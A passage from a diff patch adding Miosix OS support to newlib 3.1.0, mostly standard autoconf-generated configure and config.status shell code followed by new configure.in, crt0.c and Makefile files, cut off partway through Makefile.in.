-f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ++ ac_cv_prog_ac_ct_READELF="readelf" ++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 ++ break 2 ++ fi ++done ++ done ++IFS=$as_save_IFS ++ ++fi ++fi ++ac_ct_READELF=$ac_cv_prog_ac_ct_READELF ++if test -n "$ac_ct_READELF"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_READELF" >&5 ++$as_echo "$ac_ct_READELF" >&6; } ++else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 ++$as_echo "no" >&6; } ++fi ++ ++ if test "x$ac_ct_READELF" = x; then ++ READELF=":" ++ else ++ case $cross_compiling:$ac_tool_warned in ++yes:) ++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 ++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ++ac_tool_warned=yes ;; ++esac ++ READELF=$ac_ct_READELF ++ fi ++else ++ READELF="$ac_cv_prog_READELF" ++fi ++ ++ ++ ++ ++# Hack to ensure that INSTALL won't be set to "../" with autoconf 2.13. */ ++ac_given_INSTALL=$INSTALL ++ ++ ++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to enable maintainer-specific portions of Makefiles" >&5 ++$as_echo_n "checking whether to enable maintainer-specific portions of Makefiles... " >&6; } ++ # Check whether --enable-maintainer-mode was given. ++if test "${enable_maintainer_mode+set}" = set; then : ++ enableval=$enable_maintainer_mode; USE_MAINTAINER_MODE=$enableval ++else ++ USE_MAINTAINER_MODE=no ++fi ++ ++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $USE_MAINTAINER_MODE" >&5 ++$as_echo "$USE_MAINTAINER_MODE" >&6; } ++ if test $USE_MAINTAINER_MODE = yes; then ++ MAINTAINER_MODE_TRUE= ++ MAINTAINER_MODE_FALSE='#' ++else ++ MAINTAINER_MODE_TRUE='#' ++ MAINTAINER_MODE_FALSE= ++fi ++ ++ MAINT=$MAINTAINER_MODE_TRUE ++ ++ ++# By default we simply use the C compiler to build assembly code. ++ ++test "${CCAS+set}" = set || CCAS=$CC ++test "${CCASFLAGS+set}" = set || CCASFLAGS=$CFLAGS ++ ++ ++ ++ ++# We need AC_EXEEXT to keep automake happy in cygnus mode. However, ++# at least currently, we never actually build a program, so we never ++# need to use $(EXEEXT). Moreover, the test for EXEEXT normally ++# fails, because we are probably configuring with a cross compiler ++# which can't create executables. So we include AC_EXEEXT to keep ++# automake happy, but we don't execute it, since we don't care about ++# the result. ++if false; then ++ ++ dummy_var=1 ++fi ++ ++. ${newlib_basedir}/configure.host ++ ++NEWLIB_CFLAGS=${newlib_cflags} ++ ++ ++NO_INCLUDE_LIST=${noinclude} ++ ++ ++LDFLAGS=${ldflags} ++ ++ ++ if test x${newlib_elix_level} = x0; then ++ ELIX_LEVEL_0_TRUE= ++ ELIX_LEVEL_0_FALSE='#' ++else ++ ELIX_LEVEL_0_TRUE='#' ++ ELIX_LEVEL_0_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x1; then ++ ELIX_LEVEL_1_TRUE= ++ ELIX_LEVEL_1_FALSE='#' ++else ++ ELIX_LEVEL_1_TRUE='#' ++ ELIX_LEVEL_1_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x2; then ++ ELIX_LEVEL_2_TRUE= ++ ELIX_LEVEL_2_FALSE='#' ++else ++ ELIX_LEVEL_2_TRUE='#' ++ ELIX_LEVEL_2_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x3; then ++ ELIX_LEVEL_3_TRUE= ++ ELIX_LEVEL_3_FALSE='#' ++else ++ ELIX_LEVEL_3_TRUE='#' ++ ELIX_LEVEL_3_FALSE= ++fi ++ ++ if test x${newlib_elix_level} = x4; then ++ ELIX_LEVEL_4_TRUE= ++ ELIX_LEVEL_4_FALSE='#' ++else ++ ELIX_LEVEL_4_TRUE='#' ++ ELIX_LEVEL_4_FALSE= ++fi ++ ++ ++ if test x${use_libtool} = xyes; then ++ USE_LIBTOOL_TRUE= ++ USE_LIBTOOL_FALSE='#' ++else ++ USE_LIBTOOL_TRUE='#' ++ USE_LIBTOOL_FALSE= ++fi ++ ++ ++# Emit any target-specific warnings. ++if test "x${newlib_msg_warn}" != "x"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: ${newlib_msg_warn}" >&5 ++$as_echo "$as_me: WARNING: ${newlib_msg_warn}" >&2;} ++fi ++ ++# Hard-code OBJEXT. Normally it is set by AC_OBJEXT, but we ++# use oext, which is set in configure.host based on the target platform. ++OBJEXT=${oext} ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ac_config_files="$ac_config_files Makefile" ++ ++cat >confcache <<\_ACEOF ++# This file is a shell script that caches the results of configure ++# tests run on this system so they can be shared between configure ++# scripts and configure runs, see configure's option --config-cache. ++# It is not useful on other systems. If it contains results you don't ++# want to keep, you may remove or edit it. ++# ++# config.status only pays attention to the cache file if you give it ++# the --recheck option to rerun configure. ++# ++# `ac_cv_env_foo' variables (set or unset) will be overridden when ++# loading this file, other *unset* `ac_cv_foo' will be assigned the ++# following values. ++ ++_ACEOF ++ ++# The following way of writing the cache mishandles newlines in values, ++# but we know of no workaround that is simple, portable, and efficient. ++# So, we kill variables containing newlines. ++# Ultrix sh set writes to stderr and can't be redirected directly, ++# and sets the high bit in the cache file unless we assign to the vars. ++( ++ for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do ++ eval ac_val=\$$ac_var ++ case $ac_val in #( ++ *${as_nl}*) ++ case $ac_var in #( ++ *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 ++$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; ++ esac ++ case $ac_var in #( ++ _ | IFS | as_nl) ;; #( ++ BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( ++ *) { eval $ac_var=; unset $ac_var;} ;; ++ esac ;; ++ esac ++ done ++ ++ (set) 2>&1 | ++ case $as_nl`(ac_space=' '; set) 2>&1` in #( ++ *${as_nl}ac_space=\ *) ++ # `set' does not quote correctly, so add quotes: double-quote ++ # substitution turns \\\\ into \\, and sed turns \\ into \. ++ sed -n \ ++ "s/'/'\\\\''/g; ++ s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ++ ;; #( ++ *) ++ # `set' quotes correctly as required by POSIX, so do not add quotes. ++ sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ++ ;; ++ esac | ++ sort ++) | ++ sed ' ++ /^ac_cv_env_/b end ++ t clear ++ :clear ++ s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ ++ t end ++ s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ ++ :end' >>confcache ++if diff "$cache_file" confcache >/dev/null 2>&1; then :; else ++ if test -w "$cache_file"; then ++ if test "x$cache_file" != "x/dev/null"; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 ++$as_echo "$as_me: updating cache $cache_file" >&6;} ++ if test ! -f "$cache_file" || test -h "$cache_file"; then ++ cat confcache >"$cache_file" ++ else ++ case $cache_file in #( ++ */* | ?:*) ++ mv -f confcache "$cache_file"$$ && ++ mv -f "$cache_file"$$ "$cache_file" ;; #( ++ *) ++ mv -f confcache "$cache_file" ;; ++ esac ++ fi ++ fi ++ else ++ { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 ++$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} ++ fi ++fi ++rm -f confcache ++ ++test "x$prefix" = xNONE && prefix=$ac_default_prefix ++# Let make expand exec_prefix. ++test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' ++ ++# Transform confdefs.h into DEFS. ++# Protect against shell expansion while executing Makefile rules. ++# Protect against Makefile macro expansion. ++# ++# If the first sed substitution is executed (which looks for macros that ++# take arguments), then branch to the quote section. Otherwise, ++# look for a macro that doesn't take arguments. ++ac_script=' ++:mline ++/\\$/{ ++ N ++ s,\\\n,, ++ b mline ++} ++t clear ++:clear ++s/^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*([^)]*)\)[ ]*\(.*\)/-D\1=\2/g ++t quote ++s/^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)/-D\1=\2/g ++t quote ++b any ++:quote ++s/[ `~#$^&*(){}\\|;'\''"<>?]/\\&/g ++s/\[/\\&/g ++s/\]/\\&/g ++s/\$/$$/g ++H ++:any ++${ ++ g ++ s/^\n// ++ s/\n/ /g ++ p ++} ++' ++DEFS=`sed -n "$ac_script" confdefs.h` ++ ++ ++ac_libobjs= ++ac_ltlibobjs= ++U= ++for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue ++ # 1. Remove the extension, and $U if already installed. ++ ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' ++ ac_i=`$as_echo "$ac_i" | sed "$ac_script"` ++ # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR ++ # will be set to the directory where LIBOBJS objects are built. ++ as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" ++ as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' ++done ++LIBOBJS=$ac_libobjs ++ ++LTLIBOBJS=$ac_ltlibobjs ++ ++ ++if test -z "${MAY_SUPPLY_SYSCALLS_TRUE}" && test -z "${MAY_SUPPLY_SYSCALLS_FALSE}"; then ++ as_fn_error $? "conditional \"MAY_SUPPLY_SYSCALLS\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++ ++if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then ++ as_fn_error $? "conditional \"AMDEP\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then ++ as_fn_error $? "conditional \"am__fastdepCC\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${MAINTAINER_MODE_TRUE}" && test -z "${MAINTAINER_MODE_FALSE}"; then ++ as_fn_error $? "conditional \"MAINTAINER_MODE\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_0_TRUE}" && test -z "${ELIX_LEVEL_0_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_0\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_1_TRUE}" && test -z "${ELIX_LEVEL_1_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_1\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_2_TRUE}" && test -z "${ELIX_LEVEL_2_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_2\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_3_TRUE}" && test -z "${ELIX_LEVEL_3_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_3\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${ELIX_LEVEL_4_TRUE}" && test -z "${ELIX_LEVEL_4_FALSE}"; then ++ as_fn_error $? "conditional \"ELIX_LEVEL_4\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++if test -z "${USE_LIBTOOL_TRUE}" && test -z "${USE_LIBTOOL_FALSE}"; then ++ as_fn_error $? "conditional \"USE_LIBTOOL\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi ++ ++: "${CONFIG_STATUS=./config.status}" ++ac_write_fail=0 ++ac_clean_files_save=$ac_clean_files ++ac_clean_files="$ac_clean_files $CONFIG_STATUS" ++{ $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 ++$as_echo "$as_me: creating $CONFIG_STATUS" >&6;} ++as_write_fail=0 ++cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 ++#! $SHELL ++# Generated by $as_me. ++# Run this file to recreate the current configuration. ++# Compiler output produced by configure, useful for debugging ++# configure, is in config.log if it exists. ++ ++debug=false ++ac_cs_recheck=false ++ac_cs_silent=false ++ ++SHELL=\${CONFIG_SHELL-$SHELL} ++export SHELL ++_ASEOF ++cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 ++## -------------------- ## ++## M4sh Initialization. ## ++## -------------------- ## ++ ++# Be more Bourne compatible ++DUALCASE=1; export DUALCASE # for MKS sh ++if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : ++ emulate sh ++ NULLCMD=: ++ # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which ++ # is contrary to our usage. Disable this feature. ++ alias -g '${1+"$@"}'='"$@"' ++ setopt NO_GLOB_SUBST ++else ++ case `(set -o) 2>/dev/null` in #( ++ *posix*) : ++ set -o posix ;; #( ++ *) : ++ ;; ++esac ++fi ++ ++ ++as_nl=' ++' ++export as_nl ++# Printing a long string crashes Solaris 7 /usr/bin/printf. ++as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo ++as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo ++# Prefer a ksh shell builtin over an external printf program on Solaris, ++# but without wasting forks for bash or zsh. ++if test -z "$BASH_VERSION$ZSH_VERSION" \ ++ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='print -r --' ++ as_echo_n='print -rn --' ++elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then ++ as_echo='printf %s\n' ++ as_echo_n='printf %s' ++else ++ if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then ++ as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' ++ as_echo_n='/usr/ucb/echo -n' ++ else ++ as_echo_body='eval expr "X$1" : "X\\(.*\\)"' ++ as_echo_n_body='eval ++ arg=$1; ++ case $arg in #( ++ *"$as_nl"*) ++ expr "X$arg" : "X\\(.*\\)$as_nl"; ++ arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; ++ esac; ++ expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ++ ' ++ export as_echo_n_body ++ as_echo_n='sh -c $as_echo_n_body as_echo' ++ fi ++ export as_echo_body ++ as_echo='sh -c $as_echo_body as_echo' ++fi ++ ++# The user is always right. ++if test "${PATH_SEPARATOR+set}" != set; then ++ PATH_SEPARATOR=: ++ (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { ++ (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || ++ PATH_SEPARATOR=';' ++ } ++fi ++ ++ ++# IFS ++# We need space, tab and new line, in precisely that order. Quoting is ++# there to prevent editors from complaining about space-tab. ++# (If _AS_PATH_WALK were called with IFS unset, it would disable word ++# splitting by setting IFS to empty value.) ++IFS=" "" $as_nl" ++ ++# Find who we are. Look in the path if we contain no directory separator. ++as_myself= ++case $0 in #(( ++ *[\\/]* ) as_myself=$0 ;; ++ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR ++for as_dir in $PATH ++do ++ IFS=$as_save_IFS ++ test -z "$as_dir" && as_dir=. ++ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break ++ done ++IFS=$as_save_IFS ++ ++ ;; ++esac ++# We did not find ourselves, most probably we were run as `sh COMMAND' ++# in which case we are not to be found in the path. ++if test "x$as_myself" = x; then ++ as_myself=$0 ++fi ++if test ! -f "$as_myself"; then ++ $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 ++ exit 1 ++fi ++ ++# Unset variables that we do not need and which cause bugs (e.g. in ++# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" ++# suppresses any "Segmentation fault" message there. '((' could ++# trigger a bug in pdksh 5.2.14. ++for as_var in BASH_ENV ENV MAIL MAILPATH ++do eval test x\${$as_var+set} = xset \ ++ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : ++done ++PS1='$ ' ++PS2='> ' ++PS4='+ ' ++ ++# NLS nuisances. ++LC_ALL=C ++export LC_ALL ++LANGUAGE=C ++export LANGUAGE ++ ++# CDPATH. ++(unset CDPATH) >/dev/null 2>&1 && unset CDPATH ++ ++ ++# as_fn_error STATUS ERROR [LINENO LOG_FD] ++# ---------------------------------------- ++# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are ++# provided, also output the error to LOG_FD, referencing LINENO. Then exit the ++# script with STATUS, using 1 if that was 0. ++as_fn_error () ++{ ++ as_status=$1; test $as_status -eq 0 && as_status=1 ++ if test "$4"; then ++ as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack ++ $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 ++ fi ++ $as_echo "$as_me: error: $2" >&2 ++ as_fn_exit $as_status ++} # as_fn_error ++ ++ ++# as_fn_set_status STATUS ++# ----------------------- ++# Set $? to STATUS, without forking. ++as_fn_set_status () ++{ ++ return $1 ++} # as_fn_set_status ++ ++# as_fn_exit STATUS ++# ----------------- ++# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. ++as_fn_exit () ++{ ++ set +e ++ as_fn_set_status $1 ++ exit $1 ++} # as_fn_exit ++ ++# as_fn_unset VAR ++# --------------- ++# Portably unset VAR. ++as_fn_unset () ++{ ++ { eval $1=; unset $1;} ++} ++as_unset=as_fn_unset ++# as_fn_append VAR VALUE ++# ---------------------- ++# Append the text in VALUE to the end of the definition contained in VAR. Take ++# advantage of any shell optimizations that allow amortized linear growth over ++# repeated appends, instead of the typical quadratic growth present in naive ++# implementations. ++if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : ++ eval 'as_fn_append () ++ { ++ eval $1+=\$2 ++ }' ++else ++ as_fn_append () ++ { ++ eval $1=\$$1\$2 ++ } ++fi # as_fn_append ++ ++# as_fn_arith ARG... ++# ------------------ ++# Perform arithmetic evaluation on the ARGs, and store the result in the ++# global $as_val. Take advantage of shells that can avoid forks. The arguments ++# must be portable across $(()) and expr. ++if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : ++ eval 'as_fn_arith () ++ { ++ as_val=$(( $* )) ++ }' ++else ++ as_fn_arith () ++ { ++ as_val=`expr "$@" || test $? -eq 1` ++ } ++fi # as_fn_arith ++ ++ ++if expr a : '\(a\)' >/dev/null 2>&1 && ++ test "X`expr 00001 : '.*\(...\)'`" = X001; then ++ as_expr=expr ++else ++ as_expr=false ++fi ++ ++if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then ++ as_basename=basename ++else ++ as_basename=false ++fi ++ ++if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then ++ as_dirname=dirname ++else ++ as_dirname=false ++fi ++ ++as_me=`$as_basename -- "$0" || ++$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ ++ X"$0" : 'X\(//\)$' \| \ ++ X"$0" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X/"$0" | ++ sed '/^.*\/\([^/][^/]*\)\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\/\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ ++# Avoid depending upon Character Ranges. ++as_cr_letters='abcdefghijklmnopqrstuvwxyz' ++as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' ++as_cr_Letters=$as_cr_letters$as_cr_LETTERS ++as_cr_digits='0123456789' ++as_cr_alnum=$as_cr_Letters$as_cr_digits ++ ++ECHO_C= ECHO_N= ECHO_T= ++case `echo -n x` in #((((( ++-n*) ++ case `echo 'xy\c'` in ++ *c*) ECHO_T=' ';; # ECHO_T is single tab character. ++ xy) ECHO_C='\c';; ++ *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ++ ECHO_T=' ';; ++ esac;; ++*) ++ ECHO_N='-n';; ++esac ++ ++rm -f conf$$ conf$$.exe conf$$.file ++if test -d conf$$.dir; then ++ rm -f conf$$.dir/conf$$.file ++else ++ rm -f conf$$.dir ++ mkdir conf$$.dir 2>/dev/null ++fi ++if (echo >conf$$.file) 2>/dev/null; then ++ if ln -s conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s='ln -s' ++ # ... but there are two gotchas: ++ # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. ++ # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. ++ # In both cases, we have to default to `cp -p'. ++ ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || ++ as_ln_s='cp -p' ++ elif ln conf$$.file conf$$ 2>/dev/null; then ++ as_ln_s=ln ++ else ++ as_ln_s='cp -p' ++ fi ++else ++ as_ln_s='cp -p' ++fi ++rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file ++rmdir conf$$.dir 2>/dev/null ++ ++ ++# as_fn_mkdir_p ++# ------------- ++# Create "$as_dir" as a directory, including parents if necessary. ++as_fn_mkdir_p () ++{ ++ ++ case $as_dir in #( ++ -*) as_dir=./$as_dir;; ++ esac ++ test -d "$as_dir" || eval $as_mkdir_p || { ++ as_dirs= ++ while :; do ++ case $as_dir in #( ++ *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( ++ *) as_qdir=$as_dir;; ++ esac ++ as_dirs="'$as_qdir' $as_dirs" ++ as_dir=`$as_dirname -- "$as_dir" || ++$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ ++ X"$as_dir" : 'X\(//\)[^/]' \| \ ++ X"$as_dir" : 'X\(//\)$' \| \ ++ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || ++$as_echo X"$as_dir" | ++ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)[^/].*/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\/\)$/{ ++ s//\1/ ++ q ++ } ++ /^X\(\/\).*/{ ++ s//\1/ ++ q ++ } ++ s/.*/./; q'` ++ test -d "$as_dir" && break ++ done ++ test -z "$as_dirs" || eval "mkdir $as_dirs" ++ } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" ++ ++ ++} # as_fn_mkdir_p ++if mkdir -p . 2>/dev/null; then ++ as_mkdir_p='mkdir -p "$as_dir"' ++else ++ test -d ./-p && rmdir ./-p ++ as_mkdir_p=false ++fi ++ ++if test -x / >/dev/null 2>&1; then ++ as_test_x='test -x' ++else ++ if ls -dL / >/dev/null 2>&1; then ++ as_ls_L_option=L ++ else ++ as_ls_L_option= ++ fi ++ as_test_x=' ++ eval sh -c '\'' ++ if test -d "$1"; then ++ test -d "$1/."; ++ else ++ case $1 in #( ++ -*)set "./$1";; ++ esac; ++ case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ++ ???[sx]*):;;*)false;;esac;fi ++ '\'' sh ++ ' ++fi ++as_executable_p=$as_test_x ++ ++# Sed expression to map a string onto a valid CPP name. ++as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" ++ ++# Sed expression to map a string onto a valid variable name. ++as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" ++ ++ ++exec 6>&1 ++## ----------------------------------- ## ++## Main body of $CONFIG_STATUS script. ## ++## ----------------------------------- ## ++_ASEOF ++test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 ++ ++cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ++# Save the log message, to keep $0 and so on meaningful, and to ++# report actual input values of CONFIG_FILES etc. instead of their ++# values after options handling. ++ac_log=" ++This file was extended by newlib $as_me 3.1.0, which was ++generated by GNU Autoconf 2.68. Invocation command line was ++ ++ CONFIG_FILES = $CONFIG_FILES ++ CONFIG_HEADERS = $CONFIG_HEADERS ++ CONFIG_LINKS = $CONFIG_LINKS ++ CONFIG_COMMANDS = $CONFIG_COMMANDS ++ $ $0 $@ ++ ++on `(hostname || uname -n) 2>/dev/null | sed 1q` ++" ++ ++_ACEOF ++ ++case $ac_config_files in *" ++"*) set x $ac_config_files; shift; ac_config_files=$*;; ++esac ++ ++ ++ ++cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ++# Files that config.status was made for. ++config_files="$ac_config_files" ++config_commands="$ac_config_commands" ++ ++_ACEOF ++ ++cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ++ac_cs_usage="\ ++\`$as_me' instantiates files and other configuration actions ++from templates according to the current configuration. Unless the files ++and actions are specified as TAGs, all are instantiated by default. ++ ++Usage: $0 [OPTION]... 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"write failure creating $CONFIG_STATUS" "$LINENO" 5 ++ ++ ++# configure is writing to config.log, and then calls config.status. ++# config.status does its own redirection, appending to config.log. ++# Unfortunately, on DOS this fails, as config.log is still kept open ++# by configure, so config.status won't be able to write to it; its ++# output is simply discarded. So we exec the FD to /dev/null, ++# effectively closing config.log, so it can be properly (re)opened and ++# appended to by config.status. When coming back to configure, we ++# need to make the FD available again. ++if test "$no_create" != yes; then ++ ac_cs_success=: ++ ac_config_status_args= ++ test "$silent" = yes && ++ ac_config_status_args="$ac_config_status_args --quiet" ++ exec 5>/dev/null ++ $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false ++ exec 5>>config.log ++ # Use ||, not &&, to avoid exiting from the if with $? = 1, which ++ # would make configure fail if this is the last instruction. ++ $ac_cs_success || as_fn_exit 1 ++fi ++if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then ++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 ++$as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} ++fi ++ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/configure.in newlib-3.1.0/newlib/libc/sys/miosix/configure.in +--- newlib-3.1.0-old/newlib/libc/sys/miosix/configure.in 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/configure.in 2024-07-26 22:02:58.649581998 +0200 +@@ -0,0 +1,14 @@ ++dnl This is the newlib/libc/sys/miosix configure.in file. ++dnl Process this file with autoconf to produce a configure script. ++ ++AC_PREREQ(2.59) ++AC_INIT([newlib],[NEWLIB_VERSION]) ++AC_CONFIG_SRCDIR([termios.c]) ++ ++dnl Can't be done in NEWLIB_CONFIGURE because that confuses automake. ++AC_CONFIG_AUX_DIR(../../../..) ++ ++NEWLIB_CONFIGURE(../../..) ++ ++AC_CONFIG_FILES([Makefile]) ++AC_OUTPUT +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/crt0.c newlib-3.1.0/newlib/libc/sys/miosix/crt0.c +--- newlib-3.1.0-old/newlib/libc/sys/miosix/crt0.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/crt0.c 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,4 @@ ++/* ++ * This file is currently empty but is still required as a crt0.o ++ * is expected by the newlib build system. ++ */ +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.am newlib-3.1.0/newlib/libc/sys/miosix/Makefile.am +--- newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.am 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/Makefile.am 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,18 @@ ++## Process this file with automake to generate Makefile.in ++ ++AUTOMAKE_OPTIONS = cygnus ++ ++INCLUDES = $(NEWLIB_CFLAGS) $(CROSS_CFLAGS) $(TARGET_CFLAGS) ++ ++AM_CCASFLAGS = $(INCLUDES) ++ ++noinst_LIBRARIES = lib.a ++ ++lib_a_SOURCES = termios.c stubs.c ++lib_a_CCASFLAGS = $(AM_CCASFLAGS) ++lib_a_CFLAGS = $(AM_CFLAGS) ++ ++all-local: crt0.o ++ ++ACLOCAL_AMFLAGS = -I ../../.. -I ../../../.. ++CONFIG_STATUS_DEPENDENCIES = $(newlib_basedir)/configure.host +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.in newlib-3.1.0/newlib/libc/sys/miosix/Makefile.in +--- newlib-3.1.0-old/newlib/libc/sys/miosix/Makefile.in 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/Makefile.in 2024-07-26 22:02:58.653582053 +0200 +@@ -0,0 +1,446 @@ ++# Makefile.in generated by automake 1.11.6 from Makefile.am. ++# @configure_input@ ++ ++# Copyright (C) 1994, 1995, 